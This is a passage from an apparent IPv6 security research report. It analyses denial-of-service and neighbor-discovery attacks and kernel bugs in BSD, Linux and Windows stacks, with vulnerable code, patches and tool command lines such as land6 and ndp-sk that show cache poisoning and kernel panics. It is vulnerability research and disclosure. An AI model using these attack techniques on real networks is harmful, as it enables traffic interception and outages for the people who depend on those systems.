As you can see on figures 1 and 2, between BSD and Windows only the
last one is vulnerable to this attack with cpu (a PIV 1.6Ghz) spikes around
90%. I have also tested it against a GNU/Linux box and the results are
pretty the same than FreeBSD.

4.6 Land attack

4.6.1 Description

This attack is fairly simple to understand. It is well known in IPv4 world
and consists to send a TCP packet with the ’SYN’ flag set and the source
address and port spoofed to equal the destination source and port to a
remote node. When a packet of this type is handle, an infinite loop may
initiated on the affected system. Only Windows OSes are known to be
vulnerable to this attack. Let us check that against KAME with land6.c.
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Figure 1: newrose attack against windows XP

pouik# netstat -na | grep LISTEN$
tcp6 0 0 *.5000 *.* LISTEN
pouik# vmstat
procs memory cpu
r b w avm fre cs us sy id
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Figure 2: newrose attack against FreeBSD

1 1 0 144532 369384 3428 8 7 86

(...)

gnuck# ./land6 -i ral0 -d pouik -D 00:08:a1:9f:c4:9a -p 5000

(...)

pouik# tcpdump -i ral0 ip6
tcpdump: verbose output suppressed, use -v or -vv for full
protocol decode listening on ral0, link-type EN10MB (Ethernet),
capture size 96 bytes
10:28:58.413818 IP6 2001:618:400:8f80:208:a1ff:fe9f:c49a.commplex-main >
2001:618:400:8f80:208:a1ff:fe9f:c49a.commplex-main: S
769411075:769411075(0) win 40395

Nothing abnormal has occurred, KAME is really not vulnerable.

4.7 Smurfing attacks

4.7.1 Description

Smurfing attacks are denial of service attacks that use icmp message with
spoofed broadcast address to flood a target system. With IPv6 there are no
broadcast addresses. Where something like a broadcast is needed, multicasts
are used instead. For instance to send a message to all the node on the
same link we use ff02::1 multicast address which is the equivalent to the
IPv4 subnet-local broadcast address (255.255.255.255). By this way we can
easily reproduce smurfing attacks on IPv6 links but RFC that describes IPv6
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implementation clearly says to silently discard packets with an multicast
address source thus limiting source smurfing attack. Let us see if IPv6
stacks respect this.

4.7.2 Source smurfing

Source smurfing is when you put a multicast address in ip source field.
To test this attack, ssmurf6 sends an icmpv6 echo request message with
the solicited-node multicast group address (ff02::1) as source. Let us see if
KAME respond to our evil ping.

pouik# tcpdump -i vr0 ip6
tcpdump: verbose output suppressed, use -v or -vv for full
protocol decode listening on vr0, link-type EN10MB (Ethernet),
capture size 96 bytes
16:04:42.337962 IP6 ff02::1 > 2001:618:400:8f80:208:a1ff:fe9f:c49a:
ICMP6, echo request, seq 0, length 8

No response from KAME, indeed if we look at the beginning of ip6 in-
put() we have:

if (IN6 IS ADDR MULTICAST(&ip6->ip6 src) ||
(...)

goto bad;
}

If ipv6 address source is a multicast address, packet is immediately dis-
carded. Now let us see what happened on USAGI.

pouik# tcpdump -i vr0 ip6
tcpdump: verbose output suppressed, use -v or -vv for full
protocol decode listening on vr0, link-type EN10MB (Ethernet),
capture size 96 bytes
16:16:29.163871 IP6 ff02::1 > 2001:618:400:8f80:2e0:4cff:fe84:1e9b:
ICMP6, echo request, seq 0, length 8
16:16:29.164023 IP6 2001:618:400:8f80:2e0:4cff:fe84:1e9b > ff02::1:
ICMP6, echo reply, seq 0, length 8

Ouch, USAGI IPv6 stack responds to our evil ping without checking the
source address. This can be a very serious issue on large network where an
attacker can target some linux boxes in order to slow down or disconnect all
the network connections.
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4.7.3 Destination smurfing

dsmurf implements this attack by sending out an icmpv6 echo request
message to the solicited multicast group address. All stacks must respond
to this message and is what KAME does. This is used to test network
connectivity but if you want, you can set some filtering rules on each node
to do not respond to these kind of packets.

5 Vulnerability review

This section describes the last few years worth vulnerabilities found in
IPv6 stack. During these analyzes, I realized that many vendors release
advisories with invalid informations (e.g. linux skb memory leak) while
others don’t give any technical informations (e.g. cisco).

5.1 FreeBSD setsockopt() insufficient validation

Title setsockopt() input validation memory leak
Impact Local kernel memory leak
Date 2004-03-30
CVE CVE-2004-0370

Affected FreeBSD 5.2-RELEASE and prior

5.1.1 Description

This vulnerability is FreeBSD specific and is due to insufficient bounds
checking on the arguments passed to setsockopt() when it proceeds special
IPv6 socket options (e.g. IPV6 NEXTHOP).

ip6 ctloutput() vulnerable code
1 i n t opt l en ;
2 ( . . . )
3 optbuf = sopt−>s op t va l ;
4 opt l en = sopt−>s o p t v a l s i z e ;
5 optp = &in6p−>ip6p outputopts ;
6 e r r o r = ip6 pcbopt ( optname ,
7 optbuf , opt len ,
8 optp , p r i v i l e g ed , uproto ) ;

sopt val and sopt valsize are the fourth and fifth parameters directly
passed to setsockopt(). As you can see there is no bounds checking on
these both values before assignment and call to ip6 pcbopt(). ip6 pcbopt()
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assumes that the caller has made proper bounds checking on their parame-
ters and call ip6 setpktopts() in order set the proper options on the socket.
Moreover since sopt->sopt valsize is an unsigned integer and optlen a signed
one, we have a basic integer overflow. An attacker can call setsockopt()
with a huge value as fifth argument and a special buffer as fourth argu-
ment in order to cause a kernel panic or to disclose kernel memory through
extension header option fields of the outbound packet.

ip6 ctloutput() patch
1 − optbuf = sopt−>s op t va l ;
2 ( . . . )
3 + switch ( optname ) {
4 + case IPV6 PKTINFO:
5 + opt l en = s i z e o f ( s t r u c t i n 6 pk t i n f o ) ;
6 + break ;
7 + case IPV6 NEXTHOP:
8 + opt l en = SOCKMAXADDRLEN;
9 + break ;

10 + de f au l t :
11 + ( . . . )
12 + i f ( sopt−>s o p t v a l s i z e > opt l en ) {
13 + er r o r = EINVAL;
14 + break ;
15 + }
16 +
17 opt l en = sopt−>s o p t v a l s i z e ;
18 + optbuf = mal loc ( opt len , M TEMP, MWAITOK) ;
19 + er r o r = sooptcopyin ( sopt , optbuf , opt len ,
20 + opt l en ) ;
21 + ( . . . )

If we look at the fix, we can see that developers have decided to fix
the optlen value to a well known value and to add more bounds checking
on the sopt valsize parameter depending on the desired socket option. As
sopt valsize is unsigned you can not set it to a negative value to evade the
test at line 12.
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5.2 NetBSD ip6 savecontrol() insufficient validation

Title ip6 savecontrol() insufficient validation
Impact Local kernel panic
Date 2006-05-23
CVE None

Affected NetBSD 3.0, 2.1, 2.0.x

5.2.1 Description

Original advisory from NetBSD says that:

“When sending an IPv6 packet, the NetBSD kernel needs to call
the ip6 savecontrol() function in order to process the SO TIME-
STAMP socket option. This function should process options for
IPv6 packets only, but wasn’t checking for IPv4-mapped sockets.
If such a socket had this option set, it would traverse the mbuf
chain by later calling ip6 pullexthdr(), causing a panic.”

And the fix looks like that:

ip6 savecontrol() patch
1 @@ −1015 ,6 +1015 ,11 @@ ip6 s av e c on t r o l ( in6p , mp, ip6 , m)
2 mp = &(∗mp)−>m next ;
3 }
4 #end i f
5 +
6 + /∗ some OSes c a l l t h i s l o g i c with IPv4 packet ,
7 + ∗ f o r SO TIMESTAMP ∗/
8 + i f ( ( ip6−>i p 6 v f c & IPV6 VERSION MASK) != IPV6 VERSION)
9 + return ;

10 +

I guess this issue is clear when we look at the technical detail in the advi-
sory and the provided patch. ip6 savecontrol() did not ensure that mbuf
m handles an IPv6 packet or an IPv4-mapped. There are both different
header size and by this way if we have an IPv4-mapped socket with a rout-
ing or destination option header, ip6 savecontrol() will call ip6 pull-
exthdr() with an offset equal to the size of an IPv6 header (40 bytes).
Then this function might try to read data over the IPv4-mapped packet
bytes because it believes that m handles an IPv6 header and may cause a
kernel panic.
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NetBSD ip6 savecontrol()
1 i n t nxt = ip6−>ip6 nxt , o f f = s i z e o f ( s t r u c t ip6 hdr ) ;
2 ( . . . )
3 ext = ip6 pu l l e x thd r (m, o f f , nxt ) ;

To trigger this issue, we have just to open an IPv6 SOCK DGRAM
socket, disable IPV6 V6ONLY socket option, bind, set SO TIMESTAMP
and IPV6 RTHDR options on this socket and call sendto with an IPv4-
mapped IPv6 address (e.g. ::ffff:127.0.0.1) as destination. nbsd-savecontrol-
dos.c does that.

5.2.2 How about FreeBSD ?

This issue was silently fixed in both FreeBSD and OpenBSD around Tue
Oct 28 2003 and the patch was obtained from the KAME source tree. May
be NetBSD had missed this change.

5.3 BSD inconsistent IPv6 path MTU discovery handling

Title Inconsistent IPv6 toobig message handling
Impact Remote kernel panic
Date 2004-02-19
CVE None

Affected OpenBSD 3.4 and NetBSD 1.6

5.3.1 Description

This issue was due to insufficient bounds checking in the processing of
icmpv6 too big message in NetBSD and OpenBSD. When it received these
kind of messages with a very small MTU (e.g. 68), it updated the rout-
ing table entry corresponding to destination gleaned from the inner IPv6
packet of the too big message with this value without any checks. Then in
ip6 output() before sending a packet to this destination, kernel retrieves
this MTU to see if it needs fragmentation or not:

ip6 output() vulnerable code
1 /∗ Determine path MTU. ∗/
2 i f ( ( e r r o r = ip6 getpmtu ( ro pmtu , ro , i f p , &f i n a l d s t , &mtu ) ) != 0)
3 ( . . . )
4 } e l s e i f (mtu < IPV6 MMTU) {
5 e r r o r = EMSGSIZE;
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6 i n 6 i f s t a t i n c ( i fp , i f s 6 o u t f r a g f a i l ) ;
7 goto bad ;
8 }

And if retrieved MTU is lower than IPV6 MMTU (1280) outbound
packet is ignored. By this way an attacker can send a malicious icmpv6
“too big” message with a program like toobig6 to cause a Denial of Service
between two nodes.

5.3.2 How about FreeBSD ?

FreeBSD was not affected by these issue because even if it shares the same
code in ip6 output(), it did not update destination hostcache entry when
it received an icmpv6 toobig message with a MTU lower than 1280.

FreeBSD icmpv6 mtudisc update()
1 i f (mtu >= IPV6 MMTU) {
2 tcp hc updatemtu(&inc , mtu ) ;
3 icmpv6stat . icp6s pmtuchg++;
4 }

However, patch that fix this issue has been applied to FreeBSD and it
introduces another issue discussed below in section 6.1.11 page 52.

5.4 Linux IPv6 UDP port selection

Title IPv6 UDP port selection infinite loop
Impact Local Denial of Service
Date 2005-10-04
CVE CVE-2005-2973

Affected Linux kernels prior to 2.6.14-rc5

5.4.1 Description

This vulnerability is fairly simple. When we try to bind an udp socket on
a zero port, kernel must use an usuable port number or fail if there is no
available port. The vulnerability exists in the process of getting an available
UDP port. If there is no available UDP port, kernel might enter in an
infinite loop.

udp v6 get port() vulnerable code
1 f o r ( ; ; r e s u l t += UDP HTABLE SIZE)
2 ( . . . )
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3 l i s t = &udp hash [ r e s u l t & (UDP HTABLE SIZE − 1 ) ] ;
4 i f ( h l i s t empty ( l i s t ) ) {
5 ( . . . )
6 goto g o t i t ;
7 }

When kernel hits an available port, it leaves the loop (line 6). However,
there is no statement to check if result has reached the end of the hash list
in order to leave the loop. By this way if there is no available port kernel
will loop and may crash if result becomes greater than udp hash tab size.
This issue was fixed by adding more bounds checking inside the loop.

5.4.2 How about FreeBSD ?

To trigger this issue we can just made a program that bind a socket on all
available ports then call bind with port set to zero. That was made in the
released exploit by Remi Denis-Courmont. This issue does not affect FreeB-
SD/KAME stack because there are some checks ensuring that all ports are
not used as you can see on this code snippet taken in the in6 pcbsetport()
function.

in6 pcbsetport()
1 count = l a s t − f i r s t ;
2 do {
3 i f ( count−− < 0) { /∗ complete ly used ? ∗/
4 ( . . . )
5 re turn (EAGAIN) ;
6 }
7 −−∗ l a s t p o r t ;
8 ( . . . )
9 l p o r t = htons (∗ l a s t p o r t ) ;

10 } whi le ( i n 6 pcb l o okup l o c a l ( pcbinfo , &inp−>in6p laddr , lpor t , wi ld ) ) ;

5.5 Linux SKB leak in ip6 input finish()

Title IPv6 SKB leak in ip6 input finish()
Impact Remote Denial of Service
Date 2005-11-27
CVE CVE-2005-3858

Affected Linux kernels prior to 2.6.12
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5.5.1 Description

Malformed IPv6 packets with an unknown next header field and special
policies can prevent the skb socket buffer from being freed. By this way a
remote attacker can exhaust all the available memory by sending out plenty
evil packets.

ip6 input finish() vulnerable code
1 i f ( ! raw sk ) {
2 i f ( x f rm6 po l i cy check (NULL, XFRM POLICY IN, skb ) ) {
3 icmpv6 param prob ( skb , ICMPV6 UNK NEXTHDR, nho f f ) ;
4 }
5 } e l s e {
6 k f r e e s kb ( skb ) ;
7 }

icmpv6 param prob() will free the skb socket buffer but if xfrm6 poli-
cy check() succeeds (return 0) skb won’t never be freed. This vulnerability
was fixed by adding an else statement, if xfrm6 policy check() returns 0,
skb is freed immediately.

6 New vulnerabilities

This section describes briefly some new issues found during this summer
of code in the FreeBSD/KAME ipv6 stack. Even if none of these issues allow
remote or local code execution, some of them allow remote kernel panic or
allow to disclose parts of kernel memory.

6.1 Neighbor discovery cache issues

These issues were found while I am playing with ndp-sk.

6.1.1 Link-layer broadcast/multicast address

When a node receives a Neighbor Discovery message with a target link-
layer option header inside, it calls nd6 cache lladdr() in order to update
its ndp cache with informations given in this header. The problem is that
function does not made enough checks against the target hardware ad-
dress allowing a link-local user to craft evil neighbor discovery packet in
order to fill ndp cache with reserved ethernet address like broadcast address
(ff:ff:ff:ff:ff:ff) or multicast address (33:33:x:x:x:x). Thus an attacker can
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made a switched network acting like a hubbed network where all nodes will
receive all packets.

Demonstration

pouik ndp cache before attack

[clem1@pouik]$ ndp -an
Neighbor Linklayer Address Netif Expire S Flags
(...)
2001:618:400:8f80:2e0:4cff:fe84:1e9b 0:e0:4c:84:1e:9b vr0 23h5m41s S
2001:618:400:8f80:2e0:4cff:fe84:1e9c 0:e0:4c:84:1e:9c vr0 23h4m55s S

Now if I run ndp-sk against this node targeting
2001:618:400:8f80:2e0:4cff:fe84:1e9c.

[root@plouf:~]# ndp-sk -w -t 2001:618:400:8f80:2e0:4cff:fe84:1e9c
-T ff:ff:ff:ff:ff:ff
-d pouik -D 0:13:d3:35:af:88 -i rl0

[clem1@pouik]$ ndp -an
Neighbor Linklayer Address Netif Expire S Flags
(...)
2001:618:400:8f80:2e0:4cff:fe84:1e9b 0:e0:4c:84:1e:9b vr0 23h5m41s S
2001:618:400:8f80:2e0:4cff:fe84:1e9c ff:ff:ff:ff:ff:ff vr0 6s R R
(...)

Pouik neighbor cache has been updated with the broadcast ethernet ad-
dress. All messages sent in destination to 2001:618:400:8f80:2e0:4cff:fe84:1e9c
will be available to all link local nodes.

6.1.2 Smashing ndp cache static entries

When a node receives a Neighbor Advertisement message it updates its
ndp cache directly without calling nd6 cache lladdr() and without check-
ing if entry is marked as “permanent” or not. By this way a malicious user
can craft neighbor advertisement message with the override flag set in order
to erase entries in the ndp cache of a node even if they were marked as
permanent by the administrator. Fortunately there is a check that disallow
to update the link layer address of the node itself.

Demonstration
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Let us add one static entry in the pouik ndp cache.

[clem1@pouik]$ ndp -an
Neighbor Linklayer Address Netif Expire S Flags
(...)
2001:618:400:8f80:2e0:4cff:fe84:1e9d 11:22:33:44:55:66 vr0 permanent R

Now let us try to erase it with ndp-sk.

[root@plouf]# ndp-sk -w -t 2001:618:400:8f80:2e0:4cff:fe84:1e9d
-T 66:66:66:66:66:66
-d pouik -D 0:13:d3:35:af:88 -i rl0

[clem1@pouik]$ ndp -an
Neighbor Linklayer Address Netif Expire S Flags
(...)
2001:618:400:8f80:2e0:4cff:fe84:1e9d 66:66:66:66:66:66 vr0 23h59m58s S

Entry is correctly updated and not anymore marked as static. Adding
static entries to eliminate neighbor cache poisoning is definitely not a good
idea in this case. ;-)

6.1.3 ip6 setpktopts signedness issue first round

There is one signedness bug in FreeBSD ip6 setpktopts() allowing local
user to trigger a kernel panic or a possible kernel memory disclosure through
extension or ipv6 header fields.

6.1.3.1 Technical details

vulnerable code
1 i n t
2 i p 6 s e tpk t op t s ( contro l , opt , s t i ckyopt , pr iv , uproto )
3 ( . . . )
4 f o r ( ; cont ro l−>m len ; contro l−>m data += CMSG ALIGN(cm−>cmsg len ) ,
5 contro l−>m len −= CMSG ALIGN(cm−>cmsg len ) ) {
6 i n t e r r o r ;
7

8 i f ( cont ro l−>m len < CMSG LEN(0 ) )
9 re turn (EINVAL) ;

10

11 cm = mtod( cont ro l , s t r u c t cmsghdr ∗ ) ;
12
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13 i f (cm−>cmsg len == 0 | | cm−>cmsg len > contro l−>m len )
14 re turn (EINVAL) ;
15

16 ( . . . )

First, control points to a mbuf that contains ancillary data passed to
sendmsg for instance, so it is directly user controllable. Then we have a
loop that walks through control->m data in order to get option found in
ancillary data one by one and send it to ip6 setpktopt() after some bounds
checking. The problem is that m len from the mbuf header is declared as a
signed integer while CMSG LEN(0) like sizeof returns an unsigned integer.
By this way GCC, when comparing these two integers, one signed and the
other one unsigned, will convert the signed one to an unsigned. That made
the test ineffective and will in most cases return false (check evaded). Since
CMSG LEN(0) on x86 is equal to 12, there are only 12 cases when this
function fails -i.e. m len < 12 returns true-.

Exploitation of this issue will in almost cases result in a kernel panic be-
cause cm will point on a non-allocated page and a page fault will be genereted
when kernel will try to read cm->cmsglen value at line 13. However, if you
are in a lucky day, you can made cm pointing to a valid kernel memory area,
evade bounds checking and leave ip6 setpktopt() filling ipv6 header fields
(e.g. hoplimit) or extension header (e.g. rthdr) with bytes taken in kernel
memory.

I have made a simple proof of concept program that triggers the panic
and it can be reached here. This issue was fixed in FreeBSD by casting
CMSG LEN(0) with a signed int. To avoid a kernel recompilation, we can
patch directly opcode in the executable kernel (i.e. /boot/kernel/kernel) by
replacing this code:

0xc06d1f4a <ip6_setpktopts+186>: cmpl $0xb,0xc(%esi)
0xc06d1f4e <ip6_setpktopts+190>: jbe 0xc06d1ef5 <ip6_setpktopts+101>
(...)
0xc06d1f5a <ip6_setpktopts+202>: cmp 0xc(%esi),%eax
0xc06d1f5d <ip6_setpktopts+205>: jbe 0xc06d1f66 <ip6_setpktopts+214>

with:

0xc06d1f4a <ip6_setpktopts+186>: cmpl $0xb,0xc(%esi)
0xc06d1f4e <ip6_setpktopts+190>: jle 0xc06d1ef5 <ip6_setpktopts+101>
(...)
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0xc06d1f5a <ip6_setpktopts+202>: cmp 0xc(%esi),%eax
0xc06d1f5d <ip6_setpktopts+205>: jle 0xc06d1f66 <ip6_setpktopts+214>

We can also easily do these changes directly into /dev/mem to avoid
rebooting (i.e. live patching).

6.1.3.2 How about OpenBSD ?

Even if OpenBSD has declared m len as unsigned int, it is also vulnerable
to this issue because it does not made enough bounds checking on both
m len and cmsg len values.

OpenBSD ip6 setpktoptions()
1 f o r ( ; cont ro l−>m len ; contro l−>m data += CMSG ALIGN(cm−>cmsg len ) ,
2 contro l−>m len −= CMSG ALIGN(cm−>cmsg len ) ) {
3 cm = mtod( cont ro l , s t r u c t cmsghdr ∗ ) ;
4 i f (cm−>cmsg len == 0 | | cm−>cmsg len > contro l−>m len )
5 re turn (EINVAL) ;

As we can see, OpenBSD does not ensure that control->m len is large
enough to contain a cmsghdr. For instance, if we have a cmsghdr with
cmsg len and msg controllen respectively equal to 129 and 130, after the
first for() occurence control->m len will be set to CMSG ALIGN(1) which
is less than the size of a cmsghdr structure. In this way, trying to retrieve
cm members may lead to a kernel panic or a memory disclose through the
outgoing packet headers.

6.1.4 ip6 setpktopts signedness issue second round

This issue also affects ip6 setpktopts(), has the same impact than the
previous one and is due again to a signedness issue.

6.1.4.1 Technical details

vulnerable code
1 f o r ( ; cont ro l−>m len ; contro l−>m data += CMSG ALIGN(cm−>cmsg len ) ,
2 contro l−>m len −= CMSG ALIGN(cm−>cmsg len ) ) {
3 i n t e r r o r ;
4 ( . . . )

37



As I said above, this loop walks through control mbuf data area in order
to retrieve all packet options hidden in the ancillary data. It proceeds each
cmsghdr one by one by incrementing m data with the previous cmsghdr size
and decrementing m len until this last is equal to zero. The problem is that
cm->cmsg len is unsigned whereas control->m len is signed. Thus when
we have control->m len -= CMSG ALIGN(cm->cmsg len) we can made
control->m len growing up by putting a huge value (greater than 0x7fffffff)
in cmsg len.
Exploitation of this issue could lead to the same behavior than the previous
one. Moreover, we can also trigger an infinite loop by setting cmsg len to
-1 (0xffffffff). Thus CMSG ALIGN(-1) will return zero and loop will never
end.
fbsd-setpktopts-dos2.c is a proof of concept that exploits this issue to trigger
a kernel panic.

6.1.5 soopt getm mbuf exhaustion and integer overflow

Some IPv6 socket options call soopt getm() to allocate sufficient amount
of memory to store user input taken from the 4th and 5th argument of
[s,g]etsockopt(). The problem is that there is no check around these
both parameters and soopt getm() will try to allocate sufficient mbufs in
order to have an available size equal to the 5th arg. of [s, g]etsockopt().
Since soopt getm() calls MGET with the M TRYWAIT flag set and if an
user calls [s, g]etsockopt() with an option that will call soopt getm()
(e.g. IPV6 PKTOPTIONS) and a huge value as optlen (5th arg.), kernel
will allocate all available mbufs and will sleep until further mbuf are released.
By this way a local user can consume all available mbuf and makes network
applications inoperative. fbsd-pktopt-dos.c exploits this issue and makes
network interfaces unusable.

gnuck$ ./fbsd-pktopt-dos &
(...)
gnuck$ netstat -m
11444/3661/15105 mbufs in use (current/cache/total)
11423/3617/15040/15040 mbuf clusters in use (current/cache/total/max)
(...)
25707K/8149K/33856K bytes allocated to network (current/cache/total)
gnuck$ dmesg | tail -1
vr0: initialization failed: no memory for rx buffers
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gnuck$ ping 192.168.0.3
PING 192.168.0.3 (192.168.0.3): 56 data bytes
ping: sendto: Network is down

Moreover it exists in soopt getm() an integer overflow that may allow
an attacker to execute code in kernel or at least cause a kernel panic.

soopt getm() integer overflow
1 i n t
2 ke rn s e t s o ckopt ( td , s , l e v e l , name , val , va l seg , v a l s i z e )
3 ( . . . )
4 s o c k l e n t v a l s i z e ;
5 {
6 i f ( v a l s i z e < 0)
7 re turn (EINVAL) ;
8 ( . . . )
9 }

10

11 i n t
12 soopt getm ( s t r u c t sockopt ∗ sopt , s t r u c t mbuf ∗∗mp)
13 {
14 i n t s o p t s i z e = sopt−>s o p t v a l s i z e ;
15

16 MGET(m, sopt−>sopt td ? M TRYWAIT : M DONTWAIT, MTDATA) ;
17 ( . . . )
18 s o p t s i z e −= m−>m len ;
19 whi le ( s o p t s i z e ) {
20 MGET(m, sopt−>sopt td ? M TRYWAIT : M DONTWAIT, MTDATA) ;
21 ( . . . )
22 s o p t s i z e −= m−>m len ;
23 ( . . . )
24 m−>m len = min (MLEN, s o p t s i z e ) ;
25 }
26 }
27

28 i n t
29 soopt mcopyin ( s t r u c t sockopt ∗ sopt , s t r u c t mbuf ∗m)
30 {
31 s t r u c t mbuf ∗m0 = m;
32

33 whi le (m != NULL && sopt−>s o p t v a l s i z e >= m−>m len ) {
34 i f ( sopt−>sopt td != NULL) {
35 i n t e r r o r ;
36

37 e r r o r = copyin ( sopt−>sopt va l , mtod(m, char ∗ ) ,
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38 m−>m len ) ;
39 ( . . . )
40 sopt−>s o p t v a l s i z e −= m−>m len ;
41 sopt−>s op t va l = ( char ∗) sopt−>s op t va l + m−>m len ;
42 m = m−>m next ;
43 }
44 ( . . . )
45 }

As you can see sopt valsize is declared as unsigned. By this way the
check made in kern setsockopt() is insufficient and invalid because valsize
is always greater than zero. Then in soopt getm(), sopt size, a signed inte-
ger, is assigned with valsize value and it calls MGET without check against
sopt size to allocate mbufs until sopt size is equal to zero. Thus we can
put a negative value in sopt size and therefore because m len is declared as
signed too, we can put into it a negative value (line 24) because min(MLEN,
sopt size) will probably return the negative value (e.g. sopt size). Then when
soopt getm() has finished (sopt size = 0) we have in most cases a call to
soopt mcopyin() in order to copy sopt data into mbuf chain previously allo-
cated and we can overwrite kernel memory after our allocated data because
copyin take an unsigned int as 3rd argument and this is m len. . . by this
way, m len will be converted into an unsigned int and will be huge!

(Un)fortunately, if we try to use this trick to exploit this issue, we will
see that soopt getm() will continue to sleep. Why ? Because min() takes
two unsigned int as arguments and therefore we can not put negative value
into m len by this way. May be someone will find a way to execute code in
kernel land without the need to allocate ∼2GB of memory. ;-)
This issue was firstly pointed out by James Juran through a bug report
(kern/98858).

6.1.6 ip6 nexthdr() buffer overrun

ip6 nexthdr() is used to retrieve offset of the next header in an ipv6
packet. However, it does not made enough bounds checking on the returned
value and an attacker can craft a malicious packet to make returned offset
points out of the packet data. Depending how returned offset is handled
this vulnerability could lead to a remote kernel panic.

6.1.6.1 Technical details
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ip6 nexthdr() vulnerable code
1 switch ( proto ) {
2 ( . . . )
3 case IPPROTO AH:
4 i f (m−>m pkthdr . l en < o f f + s i z e o f ( ip6e ) )
5 re turn −1;
6 ( . . . )
7 o f f += ( ip6e . i p 6 e l e n + 2) << 2 ;
8 re turn o f f ;
9 ( . . . )

10 case IPPROTO HOPOPTS:
11 case IPPROTO ROUTING:
12 case IPPROTO DSTOPTS:
13 i f (m−>m pkthdr . l en < o f f + s i z e o f ( ip6e ) )
14 re turn −1;
15 ( . . . )
16 o f f += ( ip6e . i p 6 e l e n + 1) << 3 ;
17 re turn o f f ;

At line 7, ip6e len from the AH header is used to compute offset of the
next header. Then at line 8, this offset is returned without any check. By
this way an attacker can craft an AH packet with an evil len field that could
overrun the packet. The same issue concerns also HOPOPTS, ROUTING,
DSTOPTS extension headers.

6.1.6.2 Exploitation vector

After few investigations around this issue, I have just found only one
way to exploit this issue, it is in ah6 calccksum(). Indeed, most of the
API makes proper bounds checking on the offset returned after a call to
ip6 nexthdr().

ah6 input() before calling ah6 calccsksum()
1 i f ( ( ah−>ah l en << 2) − s i z o f f != s i z 1 ) {
2 ( . . . )
3 goto f a i l ;
4 }
5 i f ( ah6 calccksum (m, cksum , s i z1 , algo , sav ) ) {
6 ( . . . )
7 }

Before calling ah6 calccksum(), ah6 input() ensures that ah->ah len
does not overrun the packet data. To evade this, we can made a first valid ah
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header followed by our evil header. Only the first header will be processed
by ah6 input() whereas ah6 calccksum() will analyze both headers.

ah6 calccksum()
1 newoff = ip6 nexthdr (m, o f f , proto , &nxt ) ;
2 i f ( newoff < 0)
3 newoff = m−>m pkthdr . l en ;
4 e l s e i f ( newoff <= o f f ) {
5 e r r o r = EINVAL;
6 goto f a i l ;
7 }
8 ( . . . )
9 switch ( proto ) {

10 ( . . . )
11 case IPPROTO AH:
12 i f ( ! ahseen ) {
13 MGET(n , M DONTWAIT, MTDATA) ;
14 ( . . . )
15 m copydata (m, o f f , newoff − o f f , mtod(n , caddr t ) ) ;
16 } e l s e
17 ah update mbuf (m, o f f , newof f − o f f , a lgo , &a l go s ) ;
18 ahseen++;

Checks made on newoff from line 2 to 7 are unefficient to ensure that
newoff does not point over the packet data. At line 15, first ah header
is copied into n. newoff - off represents the real header size. All is fine.
However, at line 17 when ah6 calccksum() encounters the second header,
ah update mbuf() is called with a fake header size (newoff - off) that points
out of our packet data and may panic in most cases (page fault).

To fix this issue, ip6 nexthdr() must ensure that the returned offset will
not overrun packet data.

6.1.7 m pulldown() remote kernel panic

KAME has introduced a new mbuf function, m pulldown(), which re-
places and corrects problems encounter with m pullup(). The function
prototype is as follow :

struct mbuf *m_pulldown(m, off, len, off);

His purpose is to ensure that data region, starting at off and ending at
off + len, is put into a continuous memory region. If it succeeds, it returns
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a pointer to an intermediate mbuf and it puts into *offp the new offset.
In this way, after a call to this function, data betweem off and off+len is
contiguous and can be accessed via mtod(). An issue has been found in
m pulldown() due to a lack of bounds checking in a particular case.

6.1.7.1 Technical details

Most of the IPv6 kernel functions (e.g. ip6 input()) do not call m pulldown()
directly but IP6 EXTHDR GET() which is a kind of wrapper to m pulldown().

IP6 EXTHDR GET() macro
1 #de f i n e IP6 EXTHDR GET( val , typ , m, o f f , l en )
2 do {
3 s t r u c t mbuf ∗ t ;
4 i n t tmp ;
5 i f ( (m)−>m len >= ( o f f ) + ( l en ) )
6 ( va l ) = ( typ ) (mtod ( (m) , caddr t ) + ( o f f ) ) ;
7 e l s e {
8 t = m pulldown ( (m) , ( o f f ) , ( l en ) , &tmp ) ;
9 i f ( t ) {

10 i f ( t−>m len < tmp + ( l en ) )
11 panic ( ”m pulldown mal funct ion ” ) ;
12 ( va l ) = ( typ ) (mtod( t , caddr t ) + tmp ) ;
13 } e l s e {
14 ( va l ) = ( typ )NULL;
15 (m) = NULL;
16 }
17 }
18 } whi le (0 )

At first, on line 5, this macro checks if data between off and off + len is
contiguous. If it is not the case, m pulldown() is called and mbuf returned by
this function is stored into t. If t is not NULL -i.e. m pulldown() succeeded-,
at line 10, IP6 EXTHDR GET() verifies that m pulldown() has properly done
its job by checking if m len is really greater or equal to tmp + off, if not,
a panic occurs telling us that m pulldown() is “badcoded”. When I launch
isicng against an OpenBSD box, this panic always occurs after few seconds.
It sounds like m pulldown() does not made its job properly in a particular
case. Let us investigate!

m pulldown() vulnerable code
1 s t r u c t mbuf ∗
2 m pulldown ( s t r u c t mbuf ∗m, in t o f f , i n t len , i n t ∗ o f f p )
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3 {
4 ( . . . )
5 s ha r ed c l u s t e r = MREADONLY(n ) ;
6 ( . . . )
7 /∗
8 ∗ we need to take hlen from <n , o f f > and t l e n from <n−>m next , 0>,
9 ∗ and cons t ruc t cont iguous mbuf with m len == len .

10 ∗ note that hlen + t l e n == len , and t l e n > 0 .
11 ∗/
12 hlen = n−>m len − o f f ;
13 t l e n = len − hlen ;
14 ( . . . )
15 /∗
16 ∗ easy ca s e s f i r s t .
17 ∗ we need to use m copydata ( ) to get data from <n−>m next , 0>.
18 ∗/
19 ( . . . )
20 i f ( ( o f f == 0 | | o f f p ) && M LEADINGSPACE(n−>m next ) >= hlen &&
21 ! s h a r ed c l u s t e r ) {
22 n−>m next−>m data −= hlen ;
23 n−>m next−>m len += hlen ;
24 bcopy (mtod(n , caddr t ) + o f f , mtod(n−>m next , caddr t ) , h len ) ;
25 n−>m len −= hlen ;
26 n = n−>m next ;
27 o f f = 0 ;
28 goto ok ;
29 }
30 ( . . . )

In this code snippet above, I just show the vulnerable case. hlen contains
the length of data -we want continous- located in the first mbuf whereas tlen
holds length of remaining data -we want continous- located in the following
mbufs. M LEADINGSPACE() macro returns the amount of space available
before the current start of data in the mbuf pointed to by n->m next. In
this way, we can say that this if-statement checks if there is sufficient amount
of space in the second mbuf (n->m next) to copy data -we want continous-
from the first mbuf to the beginning of the following mbuf but it forgets
to ensure that all remaining data -we want continous- are in this mbuf (n-
>m next) and not in the following ones. If it the case, in IP6 EXTHDR GET(),
t->m len will be less than the amount of contiguous space desired and a
kernel panic occurs.

6.1.7.2 Example
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Let us illustrate this issue with an example. Consider the mbuf chain on
figure 3 as the input of m pulldown().

Figure 3: mbuf chain before m pulldown()

If we call IP6 EXTHDR GET() and therefore m pulldown() with off=40
